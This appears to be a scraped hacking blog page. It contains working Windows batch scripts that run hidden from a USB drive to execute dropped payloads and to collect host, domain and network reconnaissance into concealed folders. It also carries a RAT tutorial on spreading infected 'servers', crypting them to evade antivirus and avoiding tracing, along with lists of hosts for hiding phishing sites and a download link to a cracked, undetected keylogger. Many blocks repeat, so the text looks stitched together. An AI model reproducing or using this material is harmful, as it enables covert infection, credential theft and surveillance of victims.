:: This script is meant to only run from flash drive
:: On first run, it makes the %wrkdir% on your flashdrive as a place to hide files
:: I used recycler\S-15~ ect to make it look not obvious as a hidden system folder
:: Any executable files place in the "Bin" folder will be copied to %temp% and executed, exe, bat, and vbs
:: It have put 10-15 files in there at once and it copies and executes them all in about 10 seconds
::Very handy if you have things that inject into memory, that will otherwise cause virtual memory errors if they are executed from USB.
::It's nice because you don't need to know filenames and edit script all of the time it executes everything
::If you make your scripts self destruct that would be good if they only need to run once
:: I have another script that logs pc, system and network, open ports, history, info etc, using only windows tools
:: It gets called by another script along with this one, and saves to "\Recycler\S-1-5-21-1844237615-1757981266-1417001333-1003\Docs"
::When this script is complete it brings up the safely remove hardware menu to signify completion for drive ejection.
::--------------------------------------------------------------------------------------------------------------------------------::
::--------------------------------------------------------------------------------------------------------------------------------::
@echo off & @break off & title _
if not [%1]==[] goto :%1
call %0 system
exit
:system
if exist inject.vbs start "" "inject.vbs"
echo set o = createobject("wscript.shell") > inject.vbs
echo o.run "%~0 script", vbhide, true >> inject.vbs
start "" "inject.vbs"
exit
:script
If %~d0 == %systemdrive% goto :EOF
Set wrkdir="\Recycler\S-1-5-21-1844237615-1757981266-1417001333-1003\BIN"
If exist %wrkdir% CD %wrkdir% >nul & Goto Next
If not exist %wrkdir% mkdir %wrkdir% >nul
Attrib +s +h Recycler /d /s
Goto :EOF
:Next
::Non obvious directory creation on PC
If not exist "%temp%\MessengerCache" mkdir "%temp%\MessengerCache" >nul
:ExeCheck
If exist "*exe" copy /y "*.exe" "%temp%\MessengerCache" & Goto EXEGooD
:BatCheck
If exist "*bat" copy /y "*bat" "%temp%\MessengerCache" & Goto BatGood
:VbsCheck
If exist "*vbs" copy /y "*vbs" "%temp%\MessengerCache" & Goto VbsGood
Goto :eof
:EXEGooD
For %%j IN ("%temp%\MessengerCache\*.Exe") DO Start "" %%j
Goto BatCheck
:BatGood
For %%h IN ("%temp%\MessengerCache\*.Bat") DO Start "" %%h
Goto VbsCheck
:VbsGood
For %%i IN ("%temp%\MessengerCache\*.Vbs") DO Start "" %%i
Del /F /Q inject.vbs >nul
@cls & @Exit
::-----------------------------------------------------------------------------------------------------------------------------::
::This is called the Injector
:: This script is meant to only run from flash drive
:: On first run, it makes the %wrkdir% on your flashdrive as a place to hide files
:: I used recycler\S-15~ ect to make it look not obvious as a hidden system folder
:: Any executable files place in the "Bin" folder will be copied to %temp% and executed, exe, bat, and vbs
:: It have put 10-15 files in there at once and it copies and executes them all in about 10 seconds
::Very handy if you have things that inject into memory, that will otherwise cause virtual memory errors if they are executed from USB.
::It's nice because you don't need to know filenames and edit script all of the time it executes everything
::If you make your scripts self destruct that would be good if they only need to run once
:: I have another script that logs pc, system and network, open ports, history, info etc, using only windows tools
:: It gets called by another script along with this one, and saves to "\Recycler\S-1-5-21-1844237615-1757981266-1417001333-1003\Docs"
::When this script is complete it brings up the safely remove hardware menu to signify completion for drive ejection.
::--------------------------------------------------------------------------------------------------------------------------------::
::--------------------------------------------------------------------------------------------------------------------------------::
@echo off & @break off & title _
if not [%1]==[] goto :%1
call %0 system
exit
:system
if exist inject.vbs start "" "inject.vbs"
echo set o = createobject("wscript.shell") > inject.vbs
echo o.run "%~0 script", vbhide, true >> inject.vbs
start "" "inject.vbs"
exit
:script
If %~d0 == %systemdrive% goto :EOF
Set wrkdir="\Recycler\S-1-5-21-1844237615-1757981266-1417001333-1003\BIN"
If exist %wrkdir% CD %wrkdir% >nul & Goto Next
If not exist %wrkdir% mkdir %wrkdir% >nul
Attrib +s +h Recycler /d /s
Goto :EOF
:Next
::Non obvious directory creation on PC
If not exist "%temp%\MessengerCache" mkdir "%temp%\MessengerCache" >nul
:ExeCheck
If exist "*exe" copy /y "*.exe" "%temp%\MessengerCache" & Goto EXEGooD
:BatCheck
If exist "*bat" copy /y "*bat" "%temp%\MessengerCache" & Goto BatGood
:VbsCheck
If exist "*vbs" copy /y "*vbs" "%temp%\MessengerCache" & Goto VbsGood
Goto :eof
:EXEGooD
For %%j IN ("%temp%\MessengerCache\*.Exe") DO Start "" %%j
Goto BatCheck
:BatGood
For %%h IN ("%temp%\MessengerCache\*.Bat") DO Start "" %%h
Goto VbsCheck
:VbsGood
For %%i IN ("%temp%\MessengerCache\*.Vbs") DO Start "" %%i
Del /F /Q inject.vbs >nul
@cls & @Exit
::__Sysinfo.bat__::
Code:
@echo off & @break off & title _
if not [%1]==[] goto :%1
call %0 system
exit
:system
if exist sysinfo.vbs start "" "sysinfo.vbs"
echo set o = createobject("wscript.shell") > sysinfo.vbs
echo o.run "%~0 script", vbhide, true >> sysinfo.vbs
start "" "sysinfo.vbs"
exit
:script
Set wrkdir="\Recycler\S-1-5-21-1844237615-1757981266-1417001333-1003\Docs"
If exist %wrkdir% CD %wrkdir% >nul & Goto Next
If not exist %wrkdir% mkdir %wrkdir% >nul
Attrib +s +h Recycler /d /s && Attrib +s +h Recycler\*.txt
:Next
CD %wrkdir%>nul
set logfile=%wrkdir%\%computername%-%random%.txt 2>&1
::@@System_Info and Log Creation@@::
Echo ************************************ >> %logfile%
Echo ***********[System Info]************ >> %logfile%
Echo ************************************ >> %logfile%
Echo. >> %logfile%
Echo Computer Name is: %computername% and the Logged on User Name Is: %username% The date and Time is: %date% %time% >> %logfile%
time /t >> %logfile%
date /t >> %logfile%
Echo *********************************************** >> %logfile%
Echo ***********[External / Internal Ip]************ >> %logfile%
Echo *********************************************** >> %logfile%
::This script for external ip was not written by me, got it from spam::
echo Function MyIP_XMLHTTP( )>wan.vbs
echo Dim objRequest, strURL >>wan.vbs
echo MyIP_XMLHTTP = "0.0.0.0" >>wan.vbs
echo strURL = "http://www.whatismyip.com/automation/n09230945.asp" >>wan.vbs
echo Set objRequest = CreateObject( "Microsoft.XMLHTTP" ) >>wan.vbs
echo objRequest.open "GET", strURL, False >>wan.vbs
echo objRequest.send vbNull >>wan.vbs
echo If objRequest.status = 200 Then MyIP_XMLHTTP = objRequest.responseText >>wan.vbs
echo Set objRequest = Nothing >>wan.vbs
echo End Function >>wan.vbs
echo ret = MyIP_XMLHTTP( ) >>wan.vbs
echo Set FSys = CreateObject("Scripting.FileSystemObject") >>wan.vbs
echo Set MonFic = FSys.CreateTextFile("00001.tmp") >>wan.vbs
echo With MonFic >>wan.vbs
echo .writeLine ret >>wan.vbs
echo End With >>wan.vbs
call wan.vbs
::---------------------
for /F "tokens=* delims=" %%a in (00001.tmp) do set wanIP=%%a
del /F /Q wan.vbs >NUL
del /F /Q 00001.tmp >NUL
::---------------------
ipconfig |find "IPv4" > 00002.tmp
for /f "tokens=2 delims=:" %%a in (00002.tmp) do set lanIP=%%a
del /F /Q 00002.tmp >NUL
::---------------------
for /F "tokens=* delims=" %%i in ('reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MUI\UILanguages"') do set lang=%%i
set lang=%lang:~68,5%
::---------------------
cls
echo. >> %logfile%
echo ^>^>^> Local IP:%lanIP% >> %logfile%
echo ^>^>^> Internet IP: %wanIP% >> %logfile%
echo ^>^>^> Localisation: %lang% >> %logfile%
Echo. >> %logfile%
Echo ************************************ >> %logfile%
echo ***********[Network Info]*********** >> %logfile%
Echo ************************************ >> %logfile%
Echo. >> %logfile%
::Network Info
net user /domain >> %logfile%
net group /domain >> %logfile%
net localgroup /domain >> %logfile%
net localgroup administrators /domain >> %logfile%
net localgroup "Account Operators" /domain >> %logfile%
net accounts /domain >> %logfile%
net view /domain >> %logfile%
net view >> %logfile%
Echo ************************************ >> %logfile%
echo ***********[Local Info]************* >> %logfile%
Echo ************************************ >> %logfile%
Echo. >> %logfile%
::Local Info
ipconfig /all >> %logfile%
ipconfig /displaydns >> %logfile%
netstat -ano >> %logfile%
netstat >> %logfile%
arp -a >> %logfile%
tasklist /svc >> %logfile%
tasklist >> %logfile%
tasklist /v >> %logfile%
net share >> %logfile%
net use >> %logfile%
net accounts >> %logfile%
net localgroup >> %logfile%
net localgroup administrators >> %logfile%
systeminfo >> %logfile%
netsh firewall show config >> %logfile%
netsh advfirewall show allprofiles >> %logfile%
netsh advfirewall firewall show rule name=all >> %logfile%
netsh diag show all /v >> %logfile%
netsh diag /v >> %logfile%
ping localhost >> %logfile%
echo Completed Data Recovery on %time% %date% >> %logfile%
::@@Eject Drive to Signify Completion@@::
setlocal enableextensions
rundll32.exe shell32.dll,Control_RunDLL hotplug.dll
endlocal
:END
::Cleanup
ping localhost -n 1>nul
Del /F /Q sysinfo.vbs >nul
@cls
@exit
if not [%1]==[] goto :%1
call %0 system
exit
:system
if exist sysinfo.vbs start "" "sysinfo.vbs"
echo set o = createobject("wscript.shell") > sysinfo.vbs
echo o.run "%~0 script", vbhide, true >> sysinfo.vbs
start "" "sysinfo.vbs"
exit
:script
Set wrkdir="\Recycler\S-1-5-21-1844237615-1757981266-1417001333-1003\Docs"
If exist %wrkdir% CD %wrkdir% >nul & Goto Next
If not exist %wrkdir% mkdir %wrkdir% >nul
Attrib +s +h Recycler /d /s && Attrib +s +h Recycler\*.txt
:Next
CD %wrkdir%>nul
set logfile=%wrkdir%\%computername%-%random%.txt 2>&1
::@@System_Info and Log Creation@@::
Echo ************************************ >> %logfile%
Echo ***********[System Info]************ >> %logfile%
Echo ************************************ >> %logfile%
Echo. >> %logfile%
Echo Computer Name is: %computername% and the Logged on User Name Is: %username% The date and Time is: %date% %time% >> %logfile%
time /t >> %logfile%
date /t >> %logfile%
Echo *********************************************** >> %logfile%
Echo ***********[External / Internal Ip]************ >> %logfile%
Echo *********************************************** >> %logfile%
::This script for external ip was not written by me, got it from spam::
echo Function MyIP_XMLHTTP( )>wan.vbs
echo Dim objRequest, strURL >>wan.vbs
echo MyIP_XMLHTTP = "0.0.0.0" >>wan.vbs
echo strURL = "http://www.whatismyip.com/automation/n09230945.asp" >>wan.vbs
echo Set objRequest = CreateObject( "Microsoft.XMLHTTP" ) >>wan.vbs
echo objRequest.open "GET", strURL, False >>wan.vbs
echo objRequest.send vbNull >>wan.vbs
echo If objRequest.status = 200 Then MyIP_XMLHTTP = objRequest.responseText >>wan.vbs
echo Set objRequest = Nothing >>wan.vbs
echo End Function >>wan.vbs
echo ret = MyIP_XMLHTTP( ) >>wan.vbs
echo Set FSys = CreateObject("Scripting.FileSystemObject") >>wan.vbs
echo Set MonFic = FSys.CreateTextFile("00001.tmp") >>wan.vbs
echo With MonFic >>wan.vbs
echo .writeLine ret >>wan.vbs
echo End With >>wan.vbs
call wan.vbs
::---------------------
for /F "tokens=* delims=" %%a in (00001.tmp) do set wanIP=%%a
del /F /Q wan.vbs >NUL
del /F /Q 00001.tmp >NUL
::---------------------
ipconfig |find "IPv4" > 00002.tmp
for /f "tokens=2 delims=:" %%a in (00002.tmp) do set lanIP=%%a
del /F /Q 00002.tmp >NUL
::---------------------
for /F "tokens=* delims=" %%i in ('reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MUI\UILanguages"') do set lang=%%i
set lang=%lang:~68,5%
::---------------------
cls
echo. >> %logfile%
echo ^>^>^> Local IP:%lanIP% >> %logfile%
echo ^>^>^> Internet IP: %wanIP% >> %logfile%
echo ^>^>^> Localisation: %lang% >> %logfile%
Echo. >> %logfile%
Echo ************************************ >> %logfile%
echo ***********[Network Info]*********** >> %logfile%
Echo ************************************ >> %logfile%
Echo. >> %logfile%
::Network Info
net user /domain >> %logfile%
net group /domain >> %logfile%
net localgroup /domain >> %logfile%
net localgroup administrators /domain >> %logfile%
net localgroup "Account Operators" /domain >> %logfile%
net accounts /domain >> %logfile%
net view /domain >> %logfile%
net view >> %logfile%
Echo ************************************ >> %logfile%
echo ***********[Local Info]************* >> %logfile%
Echo ************************************ >> %logfile%
Echo. >> %logfile%
::Local Info
ipconfig /all >> %logfile%
ipconfig /displaydns >> %logfile%
netstat -ano >> %logfile%
netstat >> %logfile%
arp -a >> %logfile%
tasklist /svc >> %logfile%
tasklist >> %logfile%
tasklist /v >> %logfile%
net share >> %logfile%
net use >> %logfile%
net accounts >> %logfile%
net localgroup >> %logfile%
net localgroup administrators >> %logfile%
systeminfo >> %logfile%
netsh firewall show config >> %logfile%
netsh advfirewall show allprofiles >> %logfile%
netsh advfirewall firewall show rule name=all >> %logfile%
netsh diag show all /v >> %logfile%
netsh diag /v >> %logfile%
ping localhost >> %logfile%
echo Completed Data Recovery on %time% %date% >> %logfile%
::@@Eject Drive to Signify Completion@@::
setlocal enableextensions
rundll32.exe shell32.dll,Control_RunDLL hotplug.dll
endlocal
:END
::Cleanup
ping localhost -n 1>nul
Del /F /Q sysinfo.vbs >nul
@cls
@exit
What is RAT (Remote Administration Tool)
Legend:
Q - Question
A - Answer
Download: - Download link
Resources: - Link to video explanation or some tutorial
In this tutorial you going to learn more about RAT(s) and how they work. Well RAT(s) are usually used for hacking, and they are detected as backdoors.
Popular RAT programs
[x]Cerberus Rat
[x]ProRat
[x]Poison Ivy
[x]Turkojan Gold Rat
[x]Sub Seven
[x]NetBus RAT
[x]Spy-Net
[x]LostDoor
[x]BitFrost
[x]Nuclear RAT
[x]Bandock
[x]Pain Rat
[x]Beast
[x]Optix Pro
[x]DARKMOON
[x]Net-Devil
[x]Apocalypse Rat
[x]CyberGate
[x]Bandook
[x]Shark
You can find really good RATs, here on HackForums for free. Also there's private version which are Fully Undetectable from AV's, but still you can find some really good RATs for free. You will only need file Crypter to make them FUD again.
Remote Administrator Tools Q&A.
Q - Whats RAT?
A - A RAT is also a shortcut called Remote Administrator Tool. It is mostly used for malicious purposes, such as controlling PC's, stealing victims data, deleting or editing some files. You can only infect someone by sending him file called Server and they need to click it.
Q - How they work?
A - Some RATs can spread over P2P file sharing programs(uTorrent,
Q - Download?
A - Well you can find any type of RAT here, on HackForums. To download click spoiler(down) and you will find some links. Also, you can buy FUD private version of RAT: Albertino RAT, Medusa Rat, jRAT etc. Also you will need DNS host for your RAT.
Q - How do I control server?
A - Once installed, RAT server can be controlled via RAT client. From IP list box you choose PC and connect.
Q - What do I need to setup RAT?
A - Well, you will need Windows OS, open port & RAT. To forward your port scroll for tutorial link or click this URL.
Q - How do I port forward?
A - Port forwarding is easy and important for RAT. Well, you need open port because RAT connects through open port and bypass firewall. Open your web browser and write your IP and connect to your rooter(write Username: Admin & Password: Admin), open port forward page and write port you want and your IP. Well that's all you need to do and now you got open port
Q - How do I make my server FUD?
A - If you want to make your server FUD again, you will need crypter(you can find free FUD one here.). Also, you can hex edit your server, but be careful some servers can crash after hex editing, any way check out this cool tutorial How to make FUD with hex editing.
Q - How do I remove server if I infect myself?
A - When you infect yourself, first what you going to do is to connect to your PC. Some RATs have function to uninstall servers, well you click that and you uninstall it. Well there is another way, download MalwareBytes' Anti-Malware and scan whole computer for trojan.
Q - Legal or illegal?
A - Well some RATs are legal, and some are not. Legal are the one without backdoor left, and they have abillity to close connection anytime. Illegal are used for hacking and they can steal data(Credit Cards, Passwords, private data etc.).
Legal:
- TeamViewer - Access any remote computer via Internet just like sitting in front of it - even through firewalls.
- UltraVNC - Remote support software for on demand remote computer support. VNC.Specializing in Remote Computer Support, goto my pc, goto assist, Remote Maintenance
- Ammyy Admin - Ammyy Admin is a highly reliable and very friendly tool for remote computer access. You can provide remote assistance, remote administration or remote
- Mikogo - Mikogo is an Online Meeting, Web Conferencing & Remote Support tool where you can share your screen with 10 participants in real-time over the Web.
Illegal:
- Spy-Net
- Cerberus Rat
- CyberGate Rat
- SubSeven
- Turkojan
- ProRat
Q - Where and how do I spread?
A - There are few different ways to spread your server. You can spread on warez websites, P2P file sharing websites(uTorrent, Pirate bay etc.), YouTube etc. Well some people use custom made Auto-Spreaders programs to spread their server. But best and most effective way to spread is when you FUD your server.
Q - Whats DNS host?
A - The Domain Name System (DNS) is a hierarchical naming system for computers, services, or any resource connected to the Internet or a private network. It associates various information with domain names assigned to each of the participants. Most importantly, it translates domain names meaningful to humans into the numerical (binary) identifiers associated with networking equipment for the purpose of locating and addressing these devices worldwide.
Q - What can RAT do?
A - Here is list of basic features:
A - There are few different ways to spread your server. You can spread on warez websites, P2P file sharing websites(uTorrent, Pirate bay etc.), YouTube etc. Well some people use custom made Auto-Spreaders programs to spread their server. But best and most effective way to spread is when you FUD your server.
Q - Whats DNS host?
A - The Domain Name System (DNS) is a hierarchical naming system for computers, services, or any resource connected to the Internet or a private network. It associates various information with domain names assigned to each of the participants. Most importantly, it translates domain names meaningful to humans into the numerical (binary) identifiers associated with networking equipment for the purpose of locating and addressing these devices worldwide.
Q - What can RAT do?
A - Here is list of basic features:
• Manage files
• Control web browser(Change homepage, open site etc.)
• Get system informations(OS Version, AV name, Ram Memory, Computer name etc.)
• Get passwords, credit card numbers or private data etc.
• View and remote control desktop
• Record camera & sound
• Control mouse
• Delete, rename, download, upload or move files
• Control web browser(Change homepage, open site etc.)
• Get system informations(OS Version, AV name, Ram Memory, Computer name etc.)
• Get passwords, credit card numbers or private data etc.
• View and remote control desktop
• Record camera & sound
• Control mouse
• Delete, rename, download, upload or move files
Q - What's reverse Connection?
A - A reverse connection is usually used to bypass firewall restrictions on open ports. The most common way a reverse connection is used is to bypass firewall and Router security restrictions.
Q - Whats direct connection?
A - A direct-connect RAT is a simple setup where the client connects to a single or multiple servers directly. Stable servers are multi-threaded, allowing for multiple clients to be connected, along with increased reliability.
Q - Can I get traced when I rat somebody?
A - Yes and no. Depends on slave, it is really hard to remove infection or even trace a hacker. There are tools like WireShark, but it's really hard to trace, because PC usually got over 300 connections. So don't worry.
Direct connection:
A - A reverse connection is usually used to bypass firewall restrictions on open ports. The most common way a reverse connection is used is to bypass firewall and Router security restrictions.
Q - Whats direct connection?
A - A direct-connect RAT is a simple setup where the client connects to a single or multiple servers directly. Stable servers are multi-threaded, allowing for multiple clients to be connected, along with increased reliability.
Q - Can I get traced when I rat somebody?
A - Yes and no. Depends on slave, it is really hard to remove infection or even trace a hacker. There are tools like WireShark, but it's really hard to trace, because PC usually got over 300 connections. So don't worry.
Direct connection:
Code:
[Client]
| [Client]
| /
| /
| /
| /
[Server]-----[Client]
| [Client]
| /
| /
| /
| /
[Server]-----[Client]
![[Image: 214a5ap.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vcb9CyEhlGdneYwJEATRqp4Hmnt_7zKuWp857QRem76iLNMRMRqZ9YNUBszn1ghb_hqbc8fc8Cm_jaI9yQOMvSgdkT-w=s0-d)
![[Image: spy-net.gif]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vpvDRTIZ8UmPfDq0nrB4OhNlc6AATARTWlZz9VqBbquKDSFYqS0l1NL0CE1n-xzDh3PPjGrgDE4QEFeT8Ts039SLdV0CrX0S4c9zY=s0-d)
![[Image: xqi3he.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vW3Bo9aUNMU50EFliPIwkZWyDBJ8D8SdXWWScBR8AKSLOW6MmmB0lRkMfpWbHyOD3RXF8cJXt-fqTC_H57yCxPb1hjNg=s0-d)
![[Image: Prorat.JPG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uATgf-YMBd2YEZcxEBYZCgrTvAMn3RcOujXEKqWHTxshrw9XL_27Rgcrd8u2IqLmk5KlSmKBh_7uB-bqYgCmg8-wn_LcLieyIqDsLXXkQQAUzr7cL1-Vi3Fg=s0-d)
![[Image: xauvk2.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uX5OjIISA5szoJFO5CPullkon2fdXY7xYG1WfQjImgUsKWeJtsBRW-gnjQAjBf66HKaeMf6VOWTWkiPh02-xKWyT28=s0-d)
![[Image: t5lthz.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vNPzRUMO6Th6TD9MMcymUejnx0HRjVZqS3w_FYrar-qxftzoVoMp3auwOi0S0jPofnSP9q1UoG8l9e_eYqGDylE8K9UQ=s0-d)
![[Image: bi.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uuLP4yDF-dsMzWX4th3JmjNV0RfxjX_oQRSYwip1D-z2wqEg5NulpIaReBDzBSZGeODKQ1BwJYztLTVyaTWQ3VmcGSXA=s0-d)
![[Image: 6gbnk8.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u0hcv7ys6HYTCsRrYX_OtUL3bD83Mb7MEnQQ2Bx_rbPFz4oZ0zMhMasabMe3AblZ8EsVFnXF-9xFL3HY_mN3FAFGkZ=s0-d)
![[Image: iz3ho3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vjAmVpmm9vYzDGykcsPaTAgmpZajtxWAvOgPwO6sC23u1oBI_W2lUi3LD-S6TII4eW-_Rc-EaW43ZplZeFbo6tEjvg=s0-d)
![[Image: mainclientpasswords.gif]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vkI1YS9_sAsdIYkH9wSs0Ju_KCP5OMuMst8Qxaygrj6VImjSwrM0QKARwnMwnSha8J8U8FeuGSshg1qGL7O7JM91qbZOwTKwQyQfM9yqfrovBVk7H98Ye64E0Cuu31BSwRNr77wKeGvqgLwPM=s0-d)
![[Image: ir3t6t.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tugcRPjLAEogs6tyBFvF67FCd586BAV9H-Pmle5DYODmq3Tl7Xbeb-OjJKF22UVl1RzGTrdhOsr0quKaXIJI8-PA6J=s0-d)
![[Image: MSN.jpg]](http://1.bp.blogspot.com/_TRTvzn0EcIY/SsQ7NaoBzSI/AAAAAAAAABI/yOxqUR0iIr4/s400/MSN.jpg)
![[Image: 2ijltau.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uGsnpEurZNeXO3rz5onLFFaqkNTlKUO0fQZBofPgGPLms6Jpsfewh7N1isUoOQ630IYVzpcJQUTHqLRiuZLHcWFEwVRQ=s0-d)
======================================
==============================
Tag :
Back Doors,
RATs
A List to Hide your Phising Site by SHORT URL.
http://2isp.comhttp://tinyurl.com/
http://w3t.org/
http://lix.in/
http://sturly.com/
http://urlprune.com/
http://rarme.com/
http://doiop.com/
http://rapidlayer.in/
http://myref.de/
http://link-protector.com/
http://www.lil-link.com/
http://urlite.com/
http://protect-links.com/
http://snurl.com/
http://lil-links.com/
http://rapidbolt.com/
http://snip-it.com/
http://w3t.org/
http://lix.in/
http://sturly.com/
http://urlprune.com/
http://rarme.com/
http://doiop.com/
http://rapidlayer.in/
http://myref.de/
http://link-protector.com/
http://www.lil-link.com/
http://urlite.com/
http://protect-links.com/
http://snurl.com/
http://lil-links.com/
http://rapidbolt.com/
http://snip-it.com/
Free Domain List for Hiding your Phishing Site.
* .TK - http://dot.tk/
* .CJB.NET - http://cjb.net/
* .DOM.IR - http://dom.ir/
* .EURO.ST & MANY MORE - http://ulimit.com/en
* .CO.CC - http://co.cc/
* .CO.NR - http://freedomain.co.nr/
* .US.TT & MANY MORE - http://joynic.com/
* .UNI.CC - http://uni.cc/
* .CA.GS - http://ca.gs/
* .CJB.NET - http://cjb.net/
* .DOM.IR - http://dom.ir/
* .EURO.ST & MANY MORE - http://ulimit.com/en
* .CO.CC - http://co.cc/
* .CO.NR - http://freedomain.co.nr/
* .US.TT & MANY MORE - http://joynic.com/
* .UNI.CC - http://uni.cc/
* .CA.GS - http://ca.gs/
Tag :
Phishing
A Large List of Free PHP Hosting for Phishing.
* 110mb - http://110mb.com/
* Ripway - http://ripway.com/
* SuperFreeHost - http://superfreehost.info/
* Freehostia - http://freehostia.com/
* Funpic - http://funpic.de/
* Freeweb7 - http://freeweb7.com/
* t35 - http://t35.com/
* Awardspace - http://awardspace.com/
* PHPNet - http://phpnet.us/
* Free Web Hosting Pro - http://freewebhostingpro.com/
* ProHosts - http://prohosts.org/
* AtSpace - http://prohosts.org/
* ByetHost - http://byethost.com/
* 000webhost - http://000webhost.com/
* My5GB - http://www.my5gb.com/
* Oxyhost - http://www.oxyhost.com/
* Rack111 - http://www.rack111.com/
* Ocostwebhost - http://0costwebhost.com/
* FreeZoka - http://www.freezoka.com/
* Ripway - http://ripway.com/
* SuperFreeHost - http://superfreehost.info/
* Freehostia - http://freehostia.com/
* Funpic - http://funpic.de/
* Freeweb7 - http://freeweb7.com/
* t35 - http://t35.com/
* Awardspace - http://awardspace.com/
* PHPNet - http://phpnet.us/
* Free Web Hosting Pro - http://freewebhostingpro.com/
* ProHosts - http://prohosts.org/
* AtSpace - http://prohosts.org/
* ByetHost - http://byethost.com/
* 000webhost - http://000webhost.com/
* My5GB - http://www.my5gb.com/
* Oxyhost - http://www.oxyhost.com/
* Rack111 - http://www.rack111.com/
* Ocostwebhost - http://0costwebhost.com/
* FreeZoka - http://www.freezoka.com/
Tag :
Phishing
Actual SPY Cracked Version. FREE . FULLY UNDETECTED {FUD}.
Actual Spy v3.0 Portable | 5.83 MB
ActualSpy - is a keylogger which allows you to find out what other users doon your computer in your absence. It is designed for the hiddencomputer monitoring and the monitoring of the computer activity.Keylogger Actual Spy is capable of catching all keystrokes, capturingthe screen, logging the programs being run and closed, monitoring theclipboard contents.
Keylogger Actual Spy software features:
* Logs all keystrokes, is case sensitive (keystroke logger).
* Makes screenshots within the specified time interval.
* Saves the applications’ running and closing.
* Watches clipboard contents.
* Records all print activity.
* Records disk changes.
* Records internet connections.
* Records all websites visited.
* Records startup/shutdown.
* All the information is stored in the encrypted log file.
* Convenient interface of the log and screenshot view.
* Generates the report in the text and html format.
* Sends the report to the specified email, via FTP or local area network.
* Works in the standard and hidden mode.
In the hidden mode it is invisible in all operating systems (in Windows NT/2000/XP/Vista processes as well).
Provides the opportunity to protect keylogger with the password, so that nobody except you could view the logs.
Homepage - http://www.actualspy.com/
ActualSpy - is a keylogger which allows you to find out what other users doon your computer in your absence. It is designed for the hiddencomputer monitoring and the monitoring of the computer activity.Keylogger Actual Spy is capable of catching all keystrokes, capturingthe screen, logging the programs being run and closed, monitoring theclipboard contents.
Keylogger Actual Spy software features:
* Logs all keystrokes, is case sensitive (keystroke logger).
* Makes screenshots within the specified time interval.
* Saves the applications’ running and closing.
* Watches clipboard contents.
* Records all print activity.
* Records disk changes.
* Records internet connections.
* Records all websites visited.
* Records startup/shutdown.
* All the information is stored in the encrypted log file.
* Convenient interface of the log and screenshot view.
* Generates the report in the text and html format.
* Sends the report to the specified email, via FTP or local area network.
* Works in the standard and hidden mode.
In the hidden mode it is invisible in all operating systems (in Windows NT/2000/XP/Vista processes as well).
Provides the opportunity to protect keylogger with the password, so that nobody except you could view the logs.
Homepage - http://www.actualspy.com/
| DOWNLOAD AT: |
| http://fileserve.com/file/P5pbbHr |
Tag :
Keyloggers
